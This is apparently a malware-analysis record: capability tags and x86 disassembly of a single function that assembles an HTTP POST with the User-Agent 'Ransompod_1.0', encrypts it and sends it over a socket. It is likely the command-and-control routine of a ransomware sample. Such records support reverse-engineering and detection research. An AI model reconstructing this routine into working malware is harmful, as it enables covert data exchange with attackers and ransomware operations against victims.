Function at 0x414f90
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x63c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [ebp - 0x78], eax
xor ebx, ebx
mov eax, dword [ebp + 0x14]
push esi
mov dword [ebp - 0x60], eax
mov esi, edx
mov eax, dword [ebp + 0x20]
push edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x24]
push 0x64
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x58], ebx
call fcn.0045669c
mov edi, eax
add esp, 4
test edi, edi
jne 0x414ffc
lea eax, [ebx + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 0x64
push 0
push edi
call fcn.0044f970
add esp, 0xc
push 0xa
push 0x64
push edi
push esi
call fcn.004564c6
push 0x64
call fcn.0045669c
mov ebx, eax
add esp, 0x14
test ebx, ebx
jne 0x415041
push edi
call fcn.004533f0
add esp, 4
lea eax, [ebx + 2]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
push 0x64
push 0
push ebx
call fcn.0044f970
add esp, 0xc
push 1
call fcn.0045669c
mov ecx, dword [0x642bf8]
add esp, 4
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x48]
mov ecx, dword [ecx + 0x2c]
push eax
push 4
push dword [ebp - 0x4c]
call ecx
mov esi, eax
test esi, esi
je 0x41509a
push ebx
call fcn.004533f0
add esp, 4
push edi
call fcn.004533f0
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x40]
add ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
add eax, ecx
mov dword [ebp - 0x68], eax
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
mov dword [ebp - 0x54], esi
test esi, esi
jne 0x4150d2
push ebx
call fcn.004533f0
add esp, 4
push edi
call fcn.004533f0
add esp, 4
jmp 0x4154b0
mov eax, dword [ebp - 0x68]
inc eax
push eax
push 0
push esi
call fcn.0044f970
add esi, dword [ebp - 0x48]
add esp, 0xc
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x64], esi
test eax, eax
je 0x4150ff
mov ecx, eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4150f4
sub ecx, edx
jmp 0x415101
xor ecx, ecx
push 0xa
push 0x64
push ebx
push ecx
call fcn.004564c6
push str.POST
push 0x632a68
push esi
call fcn.00402690
add esp, 0x1c
mov esi, eax
add esi, dword [ebp - 0x64]
push dword [ebp - 0x78]
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push str._HTTP_1.1_r_nHost:
push 0x632a68
push esi
call fcn.00402690
add esi, eax
add esp, 0xc
mov eax, dword [ebp + 0xc]
cmp eax, 0x64
jne 0x415159
push dword [ebp - 0x7c]
jmp 0x415163
cmp eax, 0xc8
jne 0x415199
push dword [ebp - 0x80]
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push 0x632a80
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push edi
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push str._r_nConnection:_close_r_nCache_Control:_no_cache_r_nUser_Agent:_Ransompod_1.0_r_nAccept:___r_nAccept_Encoding:_gzip__deflate_r_nContent_Type:_application_json_r_nContent_Length:
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push ebx
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
add esi, eax
push str._r_n_r_n
push 0x632a68
push esi
call fcn.00402690
add esi, eax
add esp, 0xc
mov eax, dword [ebp - 0x60]
test eax, eax
je 0x4151ea
push eax
push 0x632a68
push esi
call fcn.00402690
add esp, 0xc
mov esi, dword [ebp - 0x64]
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4151f2
mov eax, dword [ebp - 0x48]
sub ecx, edx
mov ebx, dword [ebp - 0x54]
mov dword [ebp - 0x34], eax
push 0
lea eax, [ecx + esi]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push eax
mov eax, dword [0x642bf8]
push 0
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x18], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 4
mov eax, dword [eax + 0x64]
push esi
call eax
mov edi, eax
lfence
test edi, edi
js 0x41543b
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x34]
push 0
push eax
push ebx
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x4154a2
test eax, eax
je 0x4154a2
xor esi, esi
test esi, esi
je 0x4152a1
cmp edi, 0x80090318
jne 0x4152c9
mov eax, dword [ebp - 0x68]
push 0
sub eax, esi
push eax
lea eax, [esi + ebx]
push eax
push dword [ebp + 0x18]
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x415452
test eax, eax
je 0x41544e
add esi, eax
push 0
lea eax, [ebp - 0x34]
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x74]
push 0
push eax
mov eax, dword [0x642bf8]
push dword [ebp - 0x4c]
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 4
mov eax, dword [eax + 0x68]
call eax
mov edi, eax
cmp edi, 0x80090318
je 0x415295
cmp edi, 0x90317
je 0x415452
test edi, edi
je 0x41533e
cmp edi, 0x90321
jne 0x41543b
mov ecx, dword [ebp - 0x24]
xor esi, esi
mov edx, dword [ebp - 0x18]
cmp ecx, 1
jne 0x415350
lea ebx, [ebp - 0x28]
jmp 0x41536d
cmp ecx, 5
lea eax, [ebp - 0x28]
lea ebx, [ebp - 0x1c]
cmovne eax, esi
cmp edx, 1
mov esi, eax
mov eax, 0
cmovne ebx, eax
test esi, esi
jne 0x415378
cmp edx, 5
lea eax, [ebp - 0x1c]
cmovne eax, esi
mov esi, eax
mov ecx, dword [ebp - 0xc]
test ebx, ebx
jne 0x41538a
cmp ecx, 1
lea eax, [ebp - 0x10]
cmovne eax, ebx
mov ebx, eax
test esi, esi
jne 0x415399
cmp ecx, 5
lea eax, [ebp - 0x10]
cmovne eax, esi
mov esi, eax
test ebx, ebx
je 0x4153d0
mov eax, dword [ebp - 0x58]
add eax, dword [ebx]
mov dword [ebp - 0x58], eax
add eax, 2
push eax
push dword [ebp - 0x5c]
call fcn.00456765
mov edx, dword [ebx]
mov ecx, dword [ebp - 0x50]
push edx
push dword [ebx + 8]
inc edx
mov dword [ebp - 0x5c], eax
add ecx, eax
call fcn.00413c30
mov eax, dword [ebp - 0x50]
add esp, 0x10
add eax, dword [ebx]
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x54]
test esi, esi
je 0x4153e9
push dword [esi]
push dword [esi + 8]
push ebx
call fcn.0044fb10
mov esi, dword [esi]
add esp, 0xc
jmp 0x4153eb
xor esi, esi
cmp edi, 0x90321
jne 0x415295
mov ecx, dword [ebp + 0x18]
lea eax, [ebp - 0x90]
push eax
push 0
push dword [ebp - 0x4c]
call fcn.00414be0
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x415438
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x415295
mov esi, dword [ebp - 0x90]
push esi
push eax
push ebx
call fcn.0044fb10
add esp, 0xc
jmp 0x415295
lfence
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
test esi, esi
jne 0x4154b0
mov ebx, dword [ebp - 0x58]
lea esi, [ebx + 2]
push esi
call fcn.0045669c
add esp, 4
mov edi, eax
push esi
push 0
push edi
call fcn.0044f970
mov esi, dword [ebp - 0x5c]
lea edx, [ebx + 1]
add esp, 0xc
mov ecx, edi
push ebx
push esi
call fcn.00413c30
push esi
call fcn.004533f0
mov eax, dword [ebp - 0x84]
add esp, 0xc
mov dword [eax], edi
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044daed
mov esp, ebp
pop ebp
ret
lfence
mov eax, dword [0x642bf8]
push esi
mov eax, dword [eax + 0x24]
call eax
mov ecx, dword [ebp - 4]
mov eax, 0x80090304
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044daed
mov esp, ebp
pop ebp
ret